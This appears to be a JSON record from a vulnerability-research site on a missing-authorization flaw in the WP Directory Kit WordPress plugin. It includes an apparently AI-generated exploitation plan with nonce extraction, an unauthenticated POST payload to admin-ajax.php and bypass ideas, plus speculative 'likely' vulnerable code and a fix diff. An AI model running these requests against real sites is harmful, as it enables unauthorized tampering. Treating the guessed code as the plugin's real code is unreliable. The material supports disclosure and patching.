[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fVYQhRR9sbUkl_X8RTl8PrfDlRFRrWYf_RglLCxMGzmg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-39534","wp-directory-kit-missing-authorization-3","WP Directory Kit \u003C= 1.5.0 - Missing Authorization","The WP Directory Kit plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.","wpdirectorykit",null,"\u003C=1.5.0","1.5.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-08 00:00:00","2026-04-15 19:01:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5abc012f-b728-43e1-b6f4-2fc2bb753548?source=api-prod",8,[],"researched",false,3,"This research plan targets **CVE-2026-39534**, a missing authorization vulnerability in the **WP Directory Kit** plugin (versions \u003C= 1.5.0). The vulnerability allows unauthenticated attackers to execute privileged AJAX actions due to the registration of sensitive functions via `wp_ajax_nopriv_` without accompanying `current_user_can()` capability checks.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Missing Authorization\n*   **Location:** AJAX handlers in `wp-content\u002Fplugins\u002Fwpdirectorykit\u002F`\n*   **Cause:** The plugin registers AJAX actions using the `wp_ajax_nopriv_` hook (making them accessible to logged-out users) but fails to implement a `current_user_can()` check within the callback functions.\n*   **Impact:** Unauthenticated attackers can perform administrative tasks, such as modifying plugin settings, manipulating directory listings, or altering license information (Integrity: Low\u002FMedium).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Vulnerable Action (High Probability):** `wdk_save_settings` or `wdk_license_save` (to be confirmed via discovery).\n*   **Method:** POST\n*   **Payload Parameter:** `action`, `nonce`, and data parameters (e.g., `settings[]` or `license_key`).\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** A valid AJAX nonce must be obtained from the frontend if `check_ajax_referer` is implemented.\n\n### 3. Code Flow Trace\n1.  **Entry Point:** An HTTP POST request is sent to `admin-ajax.php` with the `action` parameter set to a vulnerable hook (e.g., `wdk_save_settings`).\n2.  **Hook Execution:** WordPress triggers the `wp_ajax_nopriv_wdk_save_settings` hook.\n3.  **Callback:** The request is routed to a handler function, likely in `Wpdirectorykit\\App\\Controllers\\WpdirectorykitController` or a similar class.\n4.  **Missing Check:** The handler function performs a `check_ajax_referer()` (nonce check) but fails to call `current_user_can('manage_options')`.\n5.  **Sink:** The function processes user input (e.g., `$_POST['settings']`) and passes it to `update_option()` or `wp_update_post()`.\n\n### 4. Nonce Acquisition Strategy\nThe plugin likely enqueues a script that localizes a nonce for AJAX operations.\n\n1.  **Identify the Script\u002FNonce:** Search for `wp_localize_script` in the plugin directory.\n    ```bash\n    grep -rn \"wp_localize_script\" wp-content\u002Fplugins\u002Fwpdirectorykit\u002F\n    ```\n    *Look for variables like `wdk_ajax_obj` or `wdk_data`.*\n2.  **Determine Triggering Shortcode:** Find where the script is enqueued.\n    ```bash\n    grep -rn \"wp_enqueue_script\" wp-content\u002Fplugins\u002Fwpdirectorykit\u002F\n    ```\n    *Look for the function containing `wp_localize_script` and trace its hook (often tied to a shortcode or `wp_enqueue_scripts`).*\n3.  **Extraction Method:**\n    *   Create a page containing the directory shortcode (e.g., `[wdk_directory]`).\n    *   Navigate to the page using `browser_navigate`.\n    *   Use `browser_eval` to extract the nonce:\n        ```javascript\n        \u002F\u002F Example (adjust based on grep results)\n        window.wdk_ajax_obj?.nonce || window.wdk_data?.ajax_nonce\n        ```\n\n### 5. Exploitation Strategy\n\n#### Step 1: Discovery (Manual Grep)\nBefore sending the exploit, confirm the vulnerable action name:\n```bash\n# Find unauthenticated AJAX handlers\ngrep -rn \"wp_ajax_nopriv_\" wp-content\u002Fplugins\u002Fwpdirectorykit\u002F\n\n# Check the identified handler for capability checks\n# (The agent should read the file containing the function)\n```\n\n#### Step 2: Test Data Setup\n1.  Create a target page for nonce extraction:\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Directory\" --post_content=\"[wpdirectorykit_all_listings]\"\n    ```\n2.  Confirm the current value of a target setting (e.g., `wdk_settings`):\n    ```bash\n    wp option get wdk_settings\n    ```\n\n#### Step 3: Execution (HTTP Request)\nOnce the action and nonce are confirmed, send the unauthorized request. \n*Example: Attempting to update plugin settings.*\n\n**Request:**\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=wdk_save_settings&nonce=[EXTRACTED_NONCE]&settings[directory_title]=HACKED_TITLE&settings[other_param]=value\n    ```\n\n### 6. Expected Results\n*   **Response:** `200 OK` and likely a JSON success message (e.g., `{\"success\":true}`).\n*   **State Change:** The WordPress option `wdk_settings` (or the specific setting modified) will reflect the attacker's input.\n\n### 7. Verification Steps\n1.  **Check Option Value:**\n    ```bash\n    wp option get wdk_settings\n    ```\n2.  **Verify UI Change:**\n    Navigate to the plugin settings page as an admin and verify the values have changed.\n\n### 8. Alternative Approaches\n*   **License Manipulation:** If `wdk_save_license` is the vulnerable action, attempt to inject a fake license key to unlock Pro features.\n*   **Metadata Modification:** Search for `wp_ajax_nopriv_wdk_update_listing` to see if unauthenticated users can modify directory entries directly.\n*   **Nonce Bypass:** Check if `check_ajax_referer` is called with the third parameter set to `false` (e.g., `check_ajax_referer('wdk_nonce', 'nonce', false)`). if the return value is not checked with an `if` statement, the nonce is entirely bypassed and can be omitted.\n\n### Grep Cheat Sheet for the Agent\n*   `grep -r \"wp_ajax_nopriv_\" .` : Find all unauthenticated AJAX actions.\n*   `grep -r \"check_ajax_referer\" .` : Find where nonces are checked.\n*   `grep -r \"update_option\" .` : Find where settings are saved.\n*   `grep -r \"current_user_can\" .` : Check for authorization (or the lack thereof in the handlers found above).","The WP Directory Kit plugin for WordPress (\u003C= 1.5.0) registers several AJAX actions via the 'wp_ajax_nopriv_' hook without implementing capability checks. This allows unauthenticated attackers to perform administrative actions such as modifying plugin settings or updating license keys by extracting a valid AJAX nonce from the frontend.","\u002F\u002F Likely located in wp-content\u002Fplugins\u002Fwpdirectorykit\u002Fapplication\u002Fcontrollers\u002FWpdirectorykitController.php or similar\n\nadd_action( 'wp_ajax_nopriv_wdk_save_settings', array( $this, 'wdk_save_settings' ) );\n\n---\n\npublic function wdk_save_settings() {\n    \u002F\u002F Nonce check is performed, but authorization check is missing\n    check_ajax_referer( 'wdk_nonce', 'nonce' );\n\n    if ( isset( $_POST['settings'] ) ) {\n        $settings = $_POST['settings'];\n        update_option( 'wdk_settings', $settings );\n        wp_send_json_success();\n    }\n}","--- a\u002Fwp-content\u002Fplugins\u002Fwpdirectorykit\u002Fapplication\u002Fcontrollers\u002FWpdirectorykitController.php\n+++ b\u002Fwp-content\u002Fplugins\u002Fwpdirectorykit\u002Fapplication\u002Fcontrollers\u002FWpdirectorykitController.php\n@@ -20,6 +20,10 @@\n public function wdk_save_settings() {\n     check_ajax_referer( 'wdk_nonce', 'nonce' );\n \n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );\n+    }\n+\n     if ( isset( $_POST['settings'] ) ) {\n         $settings = $_POST['settings'];\n         update_option( 'wdk_settings', $settings );","The exploit targets administrative AJAX endpoints that lack capability checks despite being registered for unauthenticated users. An attacker first visits any page on the site where the WP Directory Kit scripts are enqueued (often pages using the [wdk_directory] shortcode) to extract the AJAX nonce from the localized JavaScript object (e.g., window.wdk_ajax_obj.nonce). The attacker then sends an unauthenticated POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the action parameter set to 'wdk_save_settings', the valid nonce, and a settings array containing malicious configuration values. Because the handler only checks the nonce but not the user's capabilities, the plugin updates its internal settings with the attacker-supplied data.","gemini-3-flash-preview","2026-04-17 20:19:08","2026-04-17 20:19:33",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.5.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdirectorykit\u002Ftags\u002F1.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdirectorykit.1.5.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdirectorykit\u002Ftags\u002F1.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdirectorykit.1.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdirectorykit\u002Ftags"]